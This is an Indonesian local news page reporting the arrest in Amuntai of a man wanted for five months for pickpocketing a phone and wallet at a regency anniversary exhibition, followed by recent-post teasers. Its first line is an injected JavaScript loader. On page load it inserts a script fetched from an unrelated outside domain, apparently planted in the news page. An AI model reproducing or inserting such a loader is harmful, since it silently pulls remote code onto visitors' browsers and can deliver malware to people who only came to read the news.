(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

5 Bulan Jadi Buron, Polisi Tangkap Pencopet HP Ini


AMUNTAI, Menjadi incaran polisi selama 5 bulan Sulfandi alias Isul (43) akhirnya dibekuk, setelah sebelumnya kepergok mencopet handphone saat pameran hari jadi Kabupaten Hulu Sungai Utara.

Polisi meringkus Sulfandi, warga Desa Pelanjungan Sari RT 02, Kecamantan Banjang ini, atas dasar laporan korban pencopetan Wafa bersama sejumlah saksi.

Kasatreskrim Polres HSU, Iptu Kamarudin kepada Kanal Kalimantan.com, Sabtu (5/10) mengakui, pihaknya telah meringkus Sulfandi atas dasar laporan korban pencopetan

Dari Informasi, Unit Jatanras Polres HSU berhasil meringkus pelaku saat berada di depan sebuah warung di Desa Pelanjungan Sari RT 2, Kecamatan Banjang, Kabupaten HSU pada pukul 16.00 Wita, Jum’at (4/10). Kepada polisi, pelaku mengaku benar melakukan tindak pidana pencopetan tersebut.

“Pelaku merupakan DPO, baru ketangkap kali ini, setelah mengambil barang saat korban berkunjung di stand pameran 5 bulan lalu,” jelas Iptu Kamarudin.

Aksi pencurian itu sendiri terjadi saat pameran hari jadi Kabupaten HSU di Pasar Modern Amuntai pada pukul 20:10 Wita, Sabtu 5 Mei 2019.

Saat itu, korban Wafa, merasakan ada yang menyentuh bagian belakangnya saat di depan stand masakan Jepang. Korban sendiri seorang pegawai honorer di Dinas Perhubungan HSU.

“Korban yang saat langsung menengok ke arah belakang kanan, sedangkan tangan korban masih memegang tasnya. Setelah korban menengok ke belakang, korban baru sadar kalau tasnya dalam keadaan terbuka,” terang Kamarudin

Akibatnya korban kehilangan handphone merek OPPO A37, dompet berisikan KTP, SIM, STNK, dan ATM Bank BNI, dan uang tunai Rp 600 ribu. Sehingga total kerugian korban Rp. 2.600.000.

“Korban saat itu langsung menuju ke stand Polres HSU, selanjutnya menuju ke kantor Polres HSU guna proses lebih lanjut,” kata Iptu Kamarudin.

Atas penangkapan tersebut,  pelaku bakal djeratan pasal  363 KUHP tentang pencurian dengan pemberatan. Sementara saat ini pelaku dan barang bukti dibawa ke Polres HSU guna proses lebih lanjut. (dew)

Reporter : Dew
Editor : Bie


Desy Arfianty

Recent Posts

Antar Kepulangan Jemaah Sekumpul, Posko Terpadu di Bandara Syamsudin Noor Ditutup

KANALKALIMANTAN.COM, BANJARBARU - Pasca kegiatan rutinan Malam Senin Momen 5 Rajab, arus kepulangan Jemaah Sekumpul… Read More

4 jam ago

Susun RKPD Tahun 2026, Bappedalitbang Banjar Gelar Musrenbang

KANALKALIMANTAN.COM, MARTAPURA - Bappedalitbang Kabupaten Banjar menggelar rapat persiapan pelaksanaan Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan… Read More

6 jam ago

Eksepsi Dua Terdakwa Suap Proyek PUPR Kalsel, Jaksa KPK: Keberatan Tak Berdasar

KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus gratifikasi proyek Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi… Read More

6 jam ago

6 Januari : Hari Anak Yatim Korban Perang se Dunia

KANALKALIMANTAN.COM - 6 Januari diperingati sebagai Hari Anak Yatim Korban Perang se Dunia. Momentum hari… Read More

8 jam ago

Sukses Amankan Kelistrikan Natal, Dirut PLN Pimpin Siaga Pergantian Tahun

KANALKALIMANTAN.COM, JAKARTA - Setelah berhasil mengamankan sistem kelistrikan saat periode Natal 2024, Direktur Utama PLN… Read More

8 jam ago

Lautan Jemaah Sekumpul, 4,1 Juta Pengguna Ponsel Tersebar di Martapura-Banjarbaru

KANALKALIMANTAN.COM, MARTAPURA - Rangkaian kegiatan Haul ke-20 Guru Sekumpul di Musholla Ar-Raudhah, Martapura, Kabupaten Banjarbaru,… Read More

8 jam ago

This website uses cookies.